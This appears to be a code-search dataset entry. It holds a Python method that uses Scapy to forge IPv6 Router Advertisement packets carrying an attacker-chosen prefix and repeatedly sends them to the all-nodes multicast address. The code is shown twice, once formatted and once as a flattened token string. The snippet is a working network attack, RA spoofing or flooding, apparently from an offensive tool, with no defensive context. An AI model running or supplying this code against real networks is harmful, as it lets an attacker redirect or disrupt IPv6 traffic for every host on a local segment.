(self)
Spam the RA's based on user config
Spam the RA's based on user config
Spam the RA s based on user config
def spam(self):
        """ Spam the RA's based on user config
        """
        # build the forged packet
        pkt = IPv6(dst='ff02::1')
        pkt /= ICMPv6ND_RA()
        pkt /= ICMPv6NDOptPrefixInfo(prefixlen=64, 
                prefix=self.config['prefix'].value)

        cnt = 0
        while self.running:
            if self.config['count'].value > 0 and \
                                    cnt >= self.config['count'].value:
                self.running = False
                break

            send(pkt)
            cnt += 1
            sleep(self.config['interval'].value)
def spam ( self ) : # build the forged packet pkt = IPv6 ( dst = 'ff02::1' ) pkt /= ICMPv6ND_RA ( ) pkt /= ICMPv6NDOptPrefixInfo ( prefixlen = 64 , prefix = self . config [ 'prefix' ] . value ) cnt = 0 while self . running : if self . config [ 'count' ] . value > 0 and cnt >= self . config [ 'count' ] . value : self . running = False break send ( pkt ) cnt += 1 sleep ( self . config [ 'interval' ] . value )